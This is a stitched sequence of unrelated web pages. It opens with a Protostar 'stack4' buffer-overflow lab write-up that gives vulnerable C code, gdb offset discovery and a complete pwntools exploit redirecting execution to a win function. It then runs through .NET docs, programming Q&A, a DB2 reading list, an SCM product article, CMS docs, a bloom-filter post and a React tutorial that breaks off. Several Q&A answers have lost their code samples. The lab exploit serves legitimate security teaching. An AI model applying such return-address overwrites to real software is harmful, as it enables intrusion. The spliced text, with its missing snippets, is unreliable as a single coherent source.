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The application is a super simple buffer overflow. The c code is only a few lines. The objective is to change the return address to the win function.
C Code
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win(){ printf("code flow successfully changed\n"); } int main(int argc, char **argv){ char buffer[64]; gets(buffer); }
Finding Buffer Size Dynamically
You can use
pattern_create 100 file & r < file in gdb and you should get a seg fault.
Stopped reason: SIGSEGV 0x41344141 in ?? () gdb-peda$ pattern search Registers contain pattern buffer: EIP+0 found at offset: 76
So the buffer size can be found out frmo this info from the line EIP+0 found at offset: 76 where 76 is the size of the buffer. So fill the buffer and then add the return address at the end
Exploit Code
from pwn import * import time #=============== Configuration ================" #Allow ptrace for gdb # sudo sysctl -w kernel.yama.ptrace_scope=0 pwnName ="stack4" local = True libName = '' host, port = '', 0000 context.arch ='i386' context.os = "linux" context.log_level="DEBUG" context.terminal= [ 'tmux' , 'splitw' , '-h' ] #====================================================" try: libc = ELF(libName) except: pass try: elf = ELF(pwnName) context.binary = elf except: pass try: rop = ROP([elf, libc]) except: pass if local: r = process("./" + pwnName) gdb.attach(r, execute="c") time.sleep(0.5) else: r = remote(host, port) def sendToGDB(payload, breakpoint=None): if not local: return cmd = """ b main\n""" with open('payload', 'w+') as f: f.write(payload) gdb.attach(r, execute="c") #=====================================================" # Exploit #====================================================== def makePayload(): buffSize = 76 filler = 'a'*buffSize returnAddress = p32(0x80483F4) # location of win functon payload = filler + returnAddress return payload def sendPayload(payload): r.sendline(payload) print r.recvline() if __name__=="__main__": payload = makePayload() sendPayload(payload)
Running The Exploit
Other Notes
I wanted to get better at VIM MASTERRACE and wanted to create a template exploit python file for all similar exploits. I wanted to press f9, run the python file, and open up a gdb split window in the same terminal. Pwn tools lets you start up a local process and send input to it across a socket. You can also attach gdb to it so you can see if the return address was overwritten, run pattern stuff as necessary, etc... It took me a while to set it up and get the settings right. See exploit picture to get a feel of what I mean | https://paxson.io/protostar-stack4/ | CC-MAIN-2021-49 | refinedweb | 398 | 66.23 |
Application Class
Provides static methods and properties to manage an application, such as methods to start and stop an application, to process Windows messages, and properties to get information about an application. This class cannot be inherited.
Assembly: System.Windows.Forms (in System.Windows.Forms.dll)
The Application class has methods to start and stop applications and threads, and to process Windows messages, as follows:
Run starts an application message loop on the current thread and, optionally, makes a form visible.
Exit or ExitThread stops a message loop.
DoEvents processes messages while your program is in a loop.
AddMessageFilter adds a message filter to the application message pump to monitor Windows messages.
IMessageFilter lets you stop an event from being raised or perform special operations before invoking an event handler.
This class has CurrentCulture and CurrentInputLanguage properties to get or set culture information for the current thread.
You cannot create an instance of this class.
The following code example lists numbers in a list box on a form. Each time you click button1, the application adds another number to the list.
The Main method calls Run to start the application, which creates the form, listBox1 and button1. When the user clicks button1, the button1_Click method displays a MessageBox. If the user clicks No on the MessageBox, the button1_Click method adds a number to the list. If the user clicks Yes, the application calls Exit to process all remaining messages in the queue and then to quit.
public class Form1 : Form { [STAThread] public static void Main() { // Start the application. Application.Run(new Form1()); } private Button button1; private ListBox listBox1; public Form1() { button1 = new Button(); button1.Left = 200; button1.Text = "Exit"; button1.Click += new EventHandler(button1_Click); listBox1 = new ListBox(); this.Controls.Add(button1); this.Controls.Add(listBox1); } private void button1_Click(object sender, System.EventArgs e) { int count = 1; // Check to see whether the user wants to exit the application. // If not, add a number to the list box. while (MessageBox.Show("Exit application?", "", MessageBoxButtons.YesNo)==DialogResult.No) { listBox1.Items.Add(count); count += 1; } // The user wants to exit the application. // Close everything down. Application.Exit(); } }
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some where i read that funtions are predifined code,, so my question is "what is code (excluding funtions)
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some where i read that funtions are predifined code,, so my question is "what is code (excluding funtions)
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The woundeful Joseph Goss,,,
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I'd define functions as code that manipulates data (assuming you accept that operators are shorthand for functions). functions may be predefined, as in the standard libraries, or user defined.
Code is a combination of variables, which hold data to be manipulated, functions, that do the manipulation, and control loops, that determine how often and when to do the manipulation. Of course there are many details like braces, keywords, function prototypes, preprocessor directives, namespaces and other things as well, but variables, functions, and control loops are the basic functional components of code, IMO.
FOLDOC is a nice resource.
Since I learned BASIC before I learned C++, I think of functions sort-of like BASIC sub-routines. A function diverts program-flow... The program goes-off and runs the function, and then returns to where it came from... perhaps returning a value to the main (or other calling) function.
Essentially all code in C++ is in functions... main() is a function.
Personally, I'd say that the header functions that come with your compiler and other library functions are predefined... I wouldn't consider the functions I write predefined (unless I had previously created my own library.)
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The lists below consist of articles and books that help with getting started with pureXML.
Introduction to pureXML
Saracco, C. M. "What's new in DB2 Viper: XML to the Core", IBM developerWorks, February 2006.
Saracco, C. M. "Get off to a fast start with DB2 Viper", IBM developerWorks, March 2006.
Saracco, C. M. and Don Chamberlin, Rav Ahuja. DB2 9 pureXML Overview and Fast Start, IBM Redbook, 2006.
Saracco, C. M. and Matthias Nicola. "Enhance business insight and scalability of XML data with new DB2 9.7 pureXML features," IBM developerWorks, April 2009.
Patterson, Bryan and Dexiong Terry Zhang. "XML and the Database: A Perspective for the DBA" , IBM Database Magazine, 2009.
Nicola, Matthias and Pav Kumar-Chatterjee. DB2 pureXML Cookbook, IBM Press, 2009.
More books can be found here. DB2 Documentation can be found here
Best Practices
Englert, Susanne and Nicola, Matthias. "Best Practices -- Managing XML Data," IBM White Paper, 2008.
Querying and updating pureXML
Saracco, C. M. "Query DB2 XML Data with SQL",IBM developerWorks, March 2006, updated March 2010.
Chamberlin, Don and C. M. Saracco. "Query DB2 XML Data with XQuery",IBM developerWorks, April 2006, updated March 2010.
Nicola, Matthias and Fatma Ozcan. "pureXML in DB2 9: Which way to query XML data?", IBM developerWorks, August 2007.
Saracco, C. M. "Query XML data that contains namespaces," IBM developerWorks, November 2006.
Rodrigues, Vitor and Matthias Nicola. "XMLTABLE by example, Part 1: Retrieving XML data in relational format" IBM developerWorks, August 2007.
Rodrigues, Vitor and Matthias Nicola. "XMLTABLE by example, Part 2: Common scenarios for using XMLTABLE with DB2" IBM developerWorks, September 2007.
Nicola, Matthias and Uttam Jain. "Update XML in DB2 9.5", IBM developerWorks, October 2007.
Ozcan, Fatma and Don Chamberlin, Krishna Kulkarni, Jan-Eike Michels. "Integration of SQL and XQuery in IBM DB2", IBM Systems Journal, Vol. 45, Number 2, 2006.
Developing pureXML applications
Oliva, Rex. "XML in SQL Stored Procedures for DB2 9 (Linux, Unix, and Windows)", IBM developerWorks, January 2007.
Rodrigues, Vitor. "Handle pureXML data in Java applications with pureQuery," IBM developerWorks, January 2009.
Saracco, C. M. "Develop Java applications for DB2 XML Data", IBM developerWorks, May 2006. developerWorks, October 2006.
Nicola, Matthias "Customizing XML Storage in DB2 ", IBM Data Management Magazine, October 2009.
Understanding pureXML Performance
Nicola, Matthias. "15 best practices for pureXML performance in DB2 9", IBM developerWorks, October 2006.
Nicola, Matthias and Vitor Rodrigues. "A performance comparison of DB2 9 pureXML with CLOB and shredded XML storage", IBM developerWorks, December 2006.
Gonzalez, Agustin and Matthias Nicola, "Taming a Terabyte of XML Data", IBM Database Magazine, Issue 1, 2009.
XML Database Benchmark: Transaction Processing over XML Overview , Description , Latest Results
Xie, Kevin and Jasmi Thekveli, Peter Shum, and Robert Taraba. Using DB2 pureXML and BladeCenter JS43 Server for high-performance transaction processing, September 2009.
Nicola, Matthias. "Exploit XML indexes for XML query performance in DB2 9 ", IBM developerWorks, October 2006.
Many more papers and articles about DB2 pureXML are available. Please visit the Additional Reading section of this Wiki. There is also a section dedicated to DB2 z/OS.
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public int missingNumber(int[] nums) { int sum = 0, len = nums.length; for (int i = 0; i < nums.length; i++) { sum += nums[i]; } return (len*(len+1)/2 - sum); }
- The basic idea is using the sum:
- see some examples firstly:
- 0 1 2 3 4 5 (0+n-1)n/2=sum=(0+n)(n+1)/2-miss
- 0 1 2 (3) 4 5 6 (0+n)(n+1)/2-miss=sum or 1 2 3 4 5 6
In any case, missing element is in the middle, at the beginning or at the end of the array, the missing element can be found by "miss = n(n+1)/2 - sum"
{tag = 1;} , tag wasn't used anywhere else. And you should use long to avoid integer overflow.
And if ((len - 1)*len/2 == sum) {
return len;
} this line could be covered by your last return line :)
The place of the missing element does not matter. What you are implementing here is the Gaussian addition formula to add numbers from 1..n. which is actually n*(n-1) /2.
In this case, you are using the length of the array as the determinant for N. However, we know that the array is missing one member for sure, which means that the real length if the array was full would be nums.length + 1... hence your formula turns into calculating the total by n * (n+1) /2.
By that token, you are also guaranteed to find the missing value if you added all the numbers in the supposedly full array and subtracted the total from this array.
As someone else also pointed out, you don't need the if statement before the return line. The last line is always going to give you the right answer.
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2009-02-04 07:04:09 8 Comments
I would like to know how to put a time delay in a Python script.
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@Humble_boy 2018-01-05 10:41:24
Delays can be also implemented by using the following methods.
The first method:
The second method to delay would be using the implicit wait method:
The third method is more useful when you have to wait until a particular action is completed or until an element is found:
@alexandernst 2018-05-05 08:28:09
The second and the third method are not Python per-se, but selenium related. And you'd use them when you're doing E2E tests. OP hasn't mentioned about any of those.
@Matthijs990 2019-04-13 06:09:22
You also can try this:
Now the shell will not crash or not react.
@Keith Ripley 2019-04-23 20:15:45
Don't use this solution. It may technically work, but it will eat your CPU. Modern hardware and operating systems have better ways of creating time delays that don't hog system resources. Use time.sleep() instead.
@BlackBeard 2019-01-10 12:13:25
If you would like to put a time delay in a Python script:
Use
time.sleepor
Event().waitlike this:
However, if you want to delay the execution of a function do this:
Use
threading.Timerlike this:
Outputs:
Why use the later approach?
timer_obj.cancel().
@Saad Anees 2019-12-01 14:53:36
its working for the first time.. second time its giving error 'RuntimeError: threads can only be started once'
@Aaron_ab 2018-12-03 19:12:52
asyncio.sleep
Notice in recent Python versions (Python 3.4 or higher) you can use
asyncio.sleep. It's related to asynchronous programming and asyncio. Check out next example:
We may think it will "sleep" for 2 seconds for first method and then 3 seconds in the second method, a total of 5 seconds running time of this code. But it will print:
It is recommended to read asyncio official documentation for more details.
@srrvnn 2019-09-12 15:56:54
Why is this better than time.sleep()?
@Aaron_ab 2019-09-12 16:17:15
Try running similar example with
time.sleep. You will not get same running time results. Recommend to read about
asynchronousprogramming in python
@mabraham 2019-10-11 15:27:18
The original question was about inserting a delay. That nail needs a hammer, not an asynchronous wrench :-)
@Parallax Sugar 2017-02-28 19:45:40
The Tkinter library in the Python standard library is an interactive tool which you can import. Basically, you can create buttons and boxes and popups and stuff that appear as windows which you manipulate with code.
If you use Tkinter, do not use
time.sleep(), because it will muck up your program. This happened to me. Instead, use
root.after()and replace the values for however many seconds, with a milliseconds. For example,
time.sleep(1)is equivalent to
root.after(1000)in Tkinter.
Otherwise,
time.sleep(), which many answers have pointed out, which is the way to go.
@Tejas Joshi 2018-09-16 08:14:05
This is an easy example of a time delay:
Another, in Tkinter:
@Trooper Z 2018-07-05 20:47:48
There are five methods which I know:
time.sleep(),
pygame.time.wait(), matplotlib's
pyplot.pause(),
.after(), and
driver.implicitly_wait().
time.sleep()example (do not use if using Tkinter):
pygame.time.wait()example (not recommended if you are not using the Pygame window, but you could exit the window instantly):
matplotlib's function
pyplot.pause()example (not recommended if you are not using the graph, but you could exit the graph instantly):
The
.after()method (best with Tkinter):
Finally, the
driver.implicitly_wait()method (Selenium):
@Corey Goldberg 2019-09-23 04:59:50
driver.implicitly_wait()is a selenium webdriver method that sets the default wait time for finding elements on a web page. It is totally irrelevant to the question asked.
@Aaron Hall 2017-06-21 03:25:05
In a single thread I suggest the sleep function:
This function actually suspends the processing of the thread in which it is called by the operating system, allowing other threads and processes to execute while it sleeps.
Use it for that purpose, or simply to delay a function from executing. For example:
"hooray!" is printed 3 seconds after I hit Enter.
Example using
sleepwith multiple threads and processes
Again,
sleepsuspends your thread - it uses next to zero processing power.
To demonstrate, create a script like this (I first attempted this in an interactive Python 3.5 shell, but sub-processes can't find the
party_laterfunction for some reason):
Example output from this script:
Multithreading
You can trigger a function to be called at a later time in a separate thread with the
Timerthreading object:
The blank line illustrates that the function printed to my standard output, and I had to hit Enter to ensure I was on a prompt.
The upside of this method is that while the
Timerthread.
@pobk 2008-09-15 16:34:29
You can use the
sleep()function in the
timemodule. It can take a float argument for sub-second resolution.
@Peter Mortensen 2019-11-27 18:42:28
What about the time resolution? E.g., is there a risk of it being a multiple of 16.66 ms (though in the example it would happen to be exactly 0.1 second, 6 multiples of 16.66 ms)? Or is e.g. at least 1 ms guaranteed? For example, could a specified delay of 3 ms actually result in a 17 ms delay?
@Matthew Miles 2017-06-13 19:04:18
Delays are done with the time library, specifically the
time.sleep()function.
To just make it wait for a second:
This works because by doing:
You extract the sleep function only from the time library, which means you can just call it with:
Rather than having to type out
Which is awkwardly long to type.
With this method, you wouldn't get access to the other features of the time library and you can't have a variable called
sleep. But you could create a variable called
time.
Doing
from [library] import [function] (, [function2])is great if you just want certain parts of a module.
You could equally do it as:
and you would have access to the other features of the time library like
time.clock()as long as you type
time.[function](), but you couldn't create the variable time because it would overwrite the import. A solution to this to do
which would allow you to reference the time library as
t, allowing you to do:
This works on any library.
@Corey Goldberg 2019-09-23 04:57:59
this is basically a mini tutorial on imports, which the OP never asked about. This answer could be replaced with "use
time.sleep()"
@Haran Rajkumar 2018-06-05 07:10:14
While everyone else has suggested the de facto
timemodule, I thought I'd share a different method using
matplotlib's
pyplotfunction,
pause.
An example
Typically this is used to prevent the plot from disappearing as soon as it is plotted or to make crude animations.
This would save you an
importif you already have
matplotlibimported.
@Jan Vlcinsky 2014-05-14 21:30:35
A bit of fun with a sleepy generator.
The question is about time delay. It can be fixed time, but in some cases we might need a delay measured since last time. Here is one possible solution:
Delay measured since last time (waking up regularly)
The situation can be, we want to do something as regularly as possible and we do not want to bother with all the
last_time,
next_timestuff all around our code.
Buzzer generator
The following code (sleepy.py) defines a
buzzergengenerator:
Invoking regular buzzergen
And running it we see:
We can also use it directly in a loop:
And running it we might see:
As we see, this buzzer is not too rigid and allow us to catch up with regular sleepy intervals even if we oversleep and get out of regular schedule.
@Evan Fosmark 2009-02-04 07:05:59
Here is another example where something is run approximately once a minute:
@ssj 2014-04-25 08:14:32
if you need some conditions to happen. It better to user threading.Event.wait.
@Parthian Shot 2015-06-17 19:29:46
Well... it'll print less frequently than that, because it takes time to print and handle all the buffers that entails (possibly doing a kernel context switch), and to register the alarm signal, but... yeah. A little under once per minute.
@DonGru 2017-08-03 10:41:35
when using tkinter as graphical user interface, sleep() won't do the job - use after() instead: tkinter.Tk.after(yourrootwindow,60000) or yourrootwindow.after(60000)
@SDsolar 2018-03-31 00:07:36
It is worth mentioning that in Windows the best granularity you can hope for is about 0.015 seconds (15 ms) accuracy. Most versions of Linux on modern processors can get down to 0.001 seconds (1 ms) granularity.
@Artemis still doesn't trust SE 2018-04-10 08:57:36
@SDsolar What is wrong with sleep: You can't do any processing while it is sleeping, it basically puts the program on hold.
@SDsolar 2018-04-10 15:29:46
Indeed. The tkinter comment would be better presented as an answer instead of in a comment. We're building a database here that will be around for years to come, with people finding answers via Google, and lots of people never get around to reading the comments. This would make a great new question, even. Something along the lines of "How to make a time delay in Python while using tkinter" or similar.
@Peter Mortensen 2018-06-14 21:05:28
Yes, but what can be said about the actual time resolution on different platforms? Are there some guarantees? Could the resolution be 16.666 ms?
@Boris 2019-05-21 20:13:47
@PeterMortensen did you see SDsolar's comment? If you need guarantees you should be using a real time operating system and shouldn't be using a garbage collected language. | https://tutel.me/c/programming/questions/510348/how+can+i+make+a+time+delay+in+python | CC-MAIN-2020-34 | refinedweb | 1,971 | 63.9 |
Development teams often view software configuration management (SCM) systems as a necessary evil. Most SCM systems introduce a certain amount of friction in the development process, and the two most common sources of this friction are the system's locking semantics and its branching model.
Generally, there are two types of locking semantics: pessimistic and optimistic. While I'm borrowing these terms from database theory, you'll see that the motivations for each model aren't the same as when dealing with databases. Pessimistic concurrency is used when development managers are pessimistic about their developers' ability to manage merging changes from two conflicting check-ins; optimistic concurrency is used when managers are optimistic about their developers' ability to successfully merge changes.
Advantages and Disadvantages
Systems based on pessimistic concurrency exclusively lock files while they're being edited. Smaller development teams generally prefer these systems for several reasons: The update model is simplified—any updates to files that you've checked out will succeed; individuals tend to have ownership over entire features and, in small teams, it's rare that more than one developer would ever need to edit the same file; and a simplified update model means that little training is required for new team members. It also means that developers must negotiate a schedule to determine when they can edit those files. This situation may introduce a kind of peer pressure that encourages premature check-in of shared code, which can be extremely problematic for teams on a regular build schedule and becomes intractable in larger settings.
With optimistic concurrency systems, developers must explicitly merge their changes when the SCM system detects conflicts. Locks are never held on files, so developers don't need to negotiate when they can edit any file; all files are editable at all times. When two developers attempt to check in changes to the same file, the last one to check in his file must manually merge his changes with the changes made by the first one to check in his file. However, there's a risk of lost updates due to incorrectly merged files. To mitigate this risk, developers often must be trained on the SCM system before they're allowed to actively work on a project. More training, of course, means increased cost.
Unfortunately, some SCM systems are so complex as to defy understanding by all but the most dedicated SCM systems administrators. But there is hope. According to AccuRev, its eponymous configuration management product was designed to reduce developer friction; like a good manager, a good SCM system should make your life better, not worse. Does AccuRev fulfill its promise? Let's see.
A Flexible Workspace
One of the mantras of every great development team is "Never break the build. Code that hasn't been thoroughly tested should never be checked into the main development stream. This forces developers to delay checking code into the source control system until they're sure that the code works. While implementing complex features, this means that they could go days between checking in new code. Unfortunately, this also means that they lose the "undo benefits of regularly checking code into the source control system.
AccuRev's private Workspace feature solves this problem. The best way to understand it is to look at a typical developer session that supports the optimistic concurrency model. Two users, John and Bob, interact with each other in a typical session. Each prefers to work with different tools: John uses the AccuRev GUI tool, acgui, and Bob uses the Accurev.exe command-line interface to create new directories.
John first creates a Depot—a single version-controlled directory tree—called Cassini to hold our project files. An AccuRev Depot lives inside of the AccuRev Repository, which resides on the SCM server and may contain any number of Depots. Next, he creates his own Workspace—a private directory tree on his computer that's mapped to the Cassini Depot.
Once John's Workspace has been created, our second user, Bob, creates his own Workspace that maps to the Cassini Depot. To add some files to our Depot, Bob writes the standard "Hello, World app using C#, and creates a new file called app.cs in his private Workspace on his computer.
public class App { public static void Main() { System.Console.WriteLine("Hello, World); } }
Bob must explicitly promote files in his Workspace before other developers can see them. Since Bob wants John to see his work, he executes another command to promote app.cs to the Depot on the server. Note that I've simplified this example; see my later discussion on AccuRev Streams (see "Working with Streams).
When John wants to begin working, he updates his Workspace with the file that Bob has made. When he opens it, he finds that Bob hadn't made appropriate use of C# namespaces, so he changes the contents of the app.cs file.
using System; public class App { public static void Main() { Console.WriteLine("Hello, World); } }
While John is editing his copy of app.cs, Bob decides to make an additional change to the file. He adds an exclamation point at the end of "Hello, World, finishing first due to his speedy typing skills, and checks in his changes. AccuRev prompts him to enter a comment that describes his changes. Once he enters his comment, AccuRev copies his changed file into his Workspace. He again promotes his copy of all kept files to the Depot..
From the previous example, we see how AccuRev's private Workspace feature lets developers continue to check changes into their private Workspace, and those changes are visible only to them. Once they're sure that their new feature works, they can promote their changes to the main development stream. This gives them the best of both worlds: version control without the risk of breaking the build.
Unfortunately, the private Workspace model relies on a connection to the AccuRev server; the Workspace check-ins are stored on the server, not the client. For developers like myself who often spend time working on laptops away from a network connection, it means that I lose source control while disconnected. The folks at AccuRev have assured me that they're working on providing an offline private Workspace model.
A SCM system's branching model is frequently its greatest source of friction. Consider a team readying its product's first release. Bob and John both agree that it's time to cut release 1.0. After shipping 1.0, John will start to work on version 2.0, and Bob will do some maintenance work to get Service Pack 1 out the door. To track their work, they create three new Streams, a bookkeeping device that lets them associate which versions of files are associated with a particular release. This is AccuRev's most powerful concept. When you promote your changes to the Depot, you're really promoting your changes to the Stream to which your Workspace is attached. Unless you've explicitly created your own Streams, you're promoting to the Depot's default Stream, which shares the Depot's name.
In their Depot, the Streams are called R1, R2 and SP1. R1 and R2 are children of the Cassini Stream; SP1 is a child of the R1 Stream. Merging changes between different releases is often extremely time-consuming, causing teams to delay integration. The power of Streams becomes apparent when you start arranging them in hierarchies. When you promote a file, you're promoting it to the Stream that your Workspace is currently attached to. However, you can also promote changes from a Child Stream to its Parent Stream. To see this idea in action, let's return to our example.
John associates his Workspace with the R2 Stream by dragging the Cassini_john Workspace over to the R2 Stream; Bob associates his Workspace with the SP1 Stream. When they're both done, the "Stream Browser displays the branches.John associates his Workspace with the R2 Stream by dragging the Cassini_john Workspace over to the R2 Stream; Bob associates his Workspace with the SP1 Stream. When they're both done, the "Stream Browser displays the branches.
John and Bob update their respective Workspaces and begin to work. John updates app.cs by adding an important new feature: the ability to say hello to the user. This is what app.cs looks like when John's finished:
using System; public class App { public static void SayHello() { Console.Write("What is your name? "); string name = Console.ReadLine(); Console.WriteLin("Hello, {0}, name); } public static void Main() { System.Console.WriteLine("Hello, World!); SayHello(); } }
John keeps the changes in his Workspace and promotes his changes to his Workspace's backing Stream, R2.
Bob, however, notices the redundant reference to System in his copy of app.cs (which resulted from his and John's earlier changes to the same line of code), so he decides to remove it. Bob keeps the changes in his Workspace and promotes his changes to his Workspace's backing Stream, SP1.
While both John and Bob have promoted their changes to the same file, notice that they didn't have to merge their changes because they didn't promote those changes to the same backing Stream.
Bob then decides to make his change available to both the R1 and R2 Streams by promoting his changes from the SP1 Stream to the R Stream, and then from the R1 Stream to the Cassini Stream.
When John next looks at the status of his R2 Stream, he notices that the overlap flag is set on the app.cs file. This indicates that the backing Stream, Cassini, contains a different version of app.cs.
John realizes that he must manually merge the changes back into his copy of app.cs. To do so, he uses the Change Palette to tell AccuRev that he wants to resolve changes between the Source Stream, whose Workspace is Cassini_ john, and the Destination Stream Cassini.
John does a merge: The bottom-right window shows the changes in the R2 Stream, and the bottom-left window shows the changes in the Cassini Stream. John selects the Take My Change (right arrow) option, to accept the new call to his SayHello() method. Next, he notices that the reference to the System namespace is absent in the Cassini Stream's copy of app.cs, so he manually removes the reference to the System namespace. If John hadn't been careful, however, this would have been another opportunity for a lost update due to a manual merge operation. When he's finished, the merge window reflects the complex merge.
John uses the Keep Changes And Close command to commit his changes. Using the Change Palette, John promotes his changes to the R2 Stream, which has now been updated with the bug fix from the SP1 Stream.
Note that John had to explicitly merge the changes into the app.cs file, because both he and Bob had edited this file. But if he hadn't changed app.cs, the R2 Stream would have automatically inherited Bob's change to app.cs. This inheritance-by-default model reduces branch merging friction.
Wrapping It Up
AccuRev is a significant step forward in SCM. The private Workspace model reduces friction in day-to-day development, enabling developers to reap the benefits of an SCM system without risking the premature addition of changes to the main source control tree. The hierarchical Stream model reduces friction when it's time to integrate changes between different branches. Developers can simply promote changes to the appropriate Stream, and those changes become immediately visible to all child Streams of that Stream.
While AccuRev is a capable product, it has room for improvement. I'd like to see better integration of the AccuRev client with the operating system shell, better offline/disconnected support for laptop developers, and a simplified merge model that doesn't need to use the Change Palette for common tasks.
For more detailed information about AccuRev's unique concepts, download the manual from and read the Concepts section. You can also download an evaluation version of AccuRev and request a trial 15-day two-user license to test drive the product for yourself.
John Lam is a Partner at ObjectSharp, a developer services company based in Toronto, Canada. He manages ObjectSharp's .NET Best Practices curriculum and helps clients increase their development teams' productivity. Reach him at jlam@objectsharp.com . | http://www.drdobbs.com/painless-scm/184415235 | CC-MAIN-2016-07 | refinedweb | 2,079 | 63.09 |
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This article covers how to implement custom block groups for Piranha. If you want to read more about the standard blocks included, please refer to Blocks in the section Content.
A Block Group is a special kind of block that can have child items. Just like regular blocks, block groups can have Field Properties defined. These fields are global for the group and are displayed above the actual items.
Please note that block groups can not contain other block groups as items, so they can't be used to build a recursive structure.
The main difference between creating a custom block and a block group is that they inherit from different base classes and uses different attributes for their meta data. All block groups must inherit from the base class
Piranha.Extend.BlockGroup.
As an example, let's take a look how the Gallery block group is implemented.
using Piranha.Extend; using Piranha.Extend.Fields; [BlockGroupType(Name = "Gallery", Category = "Media", Icon = "fas fa-images")] [BlockItemType(Type = typeof(ImageBlock))] public class ImageGalleryBlock : BlockGroup { }
In order to register your block group you need to mark it with the
BlockGroupType attribute like in the above example. This attribute has the following properties:
public string Name { get; set; }
This is the name that is shown in the manager interface when editing.
public string Category { get; set; }
The name of category the block group will be grouped under in the manager interface.
public string Icon { get; set; }
Css class for redering the block group icon in the manager interface. The manager interface uses the free icon package from font awesome.
public BlockDisplayMode Display { get; set; }
Determines how the group should be rendered in the manager interface. The available options are:
The default setting for this property is MasterDetail
If you want you can limit the types of blocks that can be positioned within your group. This is done by adding one or several
BlockItemType attributes to you class. As an example, the Image Gallery above only accepts child items of the type
ImageBlock.
public Type Type { get; set; }
The item type of the block that should be allowed inside the group.
If you want your block group to have global fields you just add them to your block group class. Let's for example say that we'd like to add a title for our entire image gallery:
using Piranha.Extend; using Piranha.Extend.Fields; [BlockGroupType(Name = "Gallery", Category = "Media", Icon = "fas fa-images")] [BlockItemType(Type = typeof(ImageBlock))] public class ImageGalleryBlock : BlockGroup { public StringField Title { get; set; } }
Block groups are registered in the same way as regular blocks. For more information, please read the article about Blocks.
No specific
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Probabilistic Spell Checking
April 21, 2009
We define
k,
m and
bloom as global variables; since standard Scheme doesn’t provide bit-arrays (though every Scheme implementation provides them) we use a vector of booleans:
(define k 7)
(define m 1000000)
(define bloom (make-vector m #f))
Function
(key i word) downcases the input word, salts it with the ith salt, hashes it with
string-hash, and maps the hash to the range 0 to m-1:
(define (key i word)
(let* ((c (string (integer->char (+ i 96))))
(s (string-append c (string-downcase word) c)))
(modulo (string-hash s) m)))
We read the dictionary and insert each word into the bloom filter for each of the k salts:
(with-input-from-file "/usr/dict/words"
(lambda ()
(do ((word (read-line) (read-line))) ((eof-object? word))
(do ((i 0 (+ i 1))) ((= i k))
(vector-set! bloom (key i word) #t)))))
Then to query the bloom filter we look up each of the k hashes of the word to be checked:
(define (spell word)
(let loop ((i 0))
(if (= i k) #t
(and (vector-ref bloom (key i word))
(loop (+ i 1))))))
Here’s an example:
> (spell "programming")
#t
The advantage of bloom filters for a spell checker, as compared to the tries of the previous exercise, is the small space they occupy. Real spell checkers strip prefixes and suffixes — for instance, mis, re-, pre- and -ed are stripped from misrepresented, leaving the stem sent — then look up the stem in a bloom filter. With affixes removed, an English dictionary of 125,000 words can be represented as about 20,000 stems, which can be checked with an error rate of 1 in 5102 using 7 hash functions and a 400,000 bit bloom filter, which fits in just 50KB. Adding space for a simple-minded affix stripper and for the program itself, a high-quality spell checker can fit in about 64KB, which is tiny compared to modern RAM sizes.
String-hash, read-line and string-downcase come from the Standard Prelude. You can run the spell-checker at.
In Haskell:
import Data.BloomFilter.Easy
import Data.Char
main = do dict <- fmap (easyList 0.01 . map lowercase . lines) $ readFile "words.txt" print $ dict `contains` "ValiD" print $ dict `contains` "xyzzy" contains b s = elemB (lowercase s) b lowercase = map toLower [/sourcecode] Long live appropriately named libraries :) | https://programmingpraxis.com/2009/04/21/probabilistic-spell-checking/2/ | CC-MAIN-2016-44 | refinedweb | 395 | 60.18 |
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The React Game: Aliens, Go Home!
The game that you will develop in this series is called Aliens, Go Home! The idea of this game is simple, you will have a cannon and will have to kill flying discs that are trying to invade the earth. To kill these flying discs you will have to point and click on an SVG canvas to make your cannon shoot.
If you are curious, you can find the final game up and running here. But don't play too much, you have work to do!
Prerequisites
As the prerequisites to follow this series, you will need some knowledge on web development (JavaScript mainly) and a development machine with Node.js and NPM installed. You don't have to have deep knowledge about the JavaScript programming language or how React, Redux, and SVG work to follow this series. However, if you do so, you will have an easier time to grasp the different topics and how they fit together.
Nevertheless, this series includes links to relevant articles, posts, and documents that provide better explanations of topics that deserve more attention.
Before Starting
Although the previous section has not mentioned anything about Git, this is a good tool to have around. All professional developers use Git (or another version control system like Mercurial or SVN) while developing, even for pet projects.
Why would you start creating a project and don't back it up? You don't even have to pay for it. You can use services like GitHub (the best!) or BitBucket (not bad, to be honest) and save your code to trustworthy cloud infrastructures.
Besides assuring that your code will remain safe, tools like that facilitate grasping the development process. For example, if you are using Git and you create a new buggy version of your app, you can easily move back to the previous code with just a few commands.
Another great advantage is that you can follow each section of this series and commit the code developed on them in separately. This will allow you to easily see the changes proposed by these sections, making your life easier while learning through tutorials like this one.
So, do yourself a favor and install Git. Also, create an account on GitHub (if you don't have one yet) and a repository to save your project. Then, after finishing each section, commit changes to this repository. Oh, and don't forget to push these changes.
Bootstrapping a React Project with Create-React-App
The very first thing you will do to create a game with React, Redux, and SVG is to use
create-react-app to bootstrap your project. As you probably know (it doesn't matter if you don't),
create-react-app is an open-source tool, maintained by Facebook, that helps developers to start developing in React in no time. Having Node.js and NPM installed locally (the latter has to be 5.2 and higher), you can use
create-react-app without even installing it:
# using npx will download (if needed) # create-react-app and execute it npx create-react-app aliens-go-home # change directory to the new project cd aliens-go-home
This tool will create a structure similar to the following one:
|- node_modules |- public |- favicon.ico |- index.html |- manifest.json |- src |- App.css |- App.js |- App.test.js |- index.css |- index.js |- logo.svg |- registerServiceWorker.js |- .gitignore |- package.json |- package-lock.json |- README.md
The
create-react-app tool is popular, well documented, and well supported by the community. As such, if you are interested in learning its details, you can check the official
create-react-app GitHub repository and its user guides.
Right now, what you will want to do is to remove some stuff that you won't need. For example, you can get rid of the following files:
App.css: the
Appcomponent is important but the styles definitions will be delegated to other components;
App.test.js: tests might be addressed in another article, but you won't use it for now;
logo.svg: you won't use React's logo in this game;
Removing these files will probably generate an error if you try to execute your project. This is easily solved by removing two import statements from the
./src/App.js file:
// remove both lines from ./src/App.js import logo from './logo.svg'; import './App.css';
And by refactoring the
render() method to:
// ... import statement and class definition render() { return ( <div className="App"> <h1>We will create an awesome game with React, Redux, and SVG!</h1> </div> ); } // ... closing bracket and export statement
Don't forget to commit your files to Git!
Installing Redux and PropTypes
After bootstrapping the React project and removing the useless files from it, you will want to install and configure Redux to be the single source of truth on your application. You will also want to install PropTypes as this tool helps avoiding common mistakes. Both tools can be installed in a single command:
npm i redux react-redux prop-types
As you can see, the command above includes a third NPM package:
react-redux. Although you could use Redux directly with React, this is not recommended. The
react-redux package does some performance optimizations that would be cumbersome to handle manually.
Configuring Redux and Using PropTypes
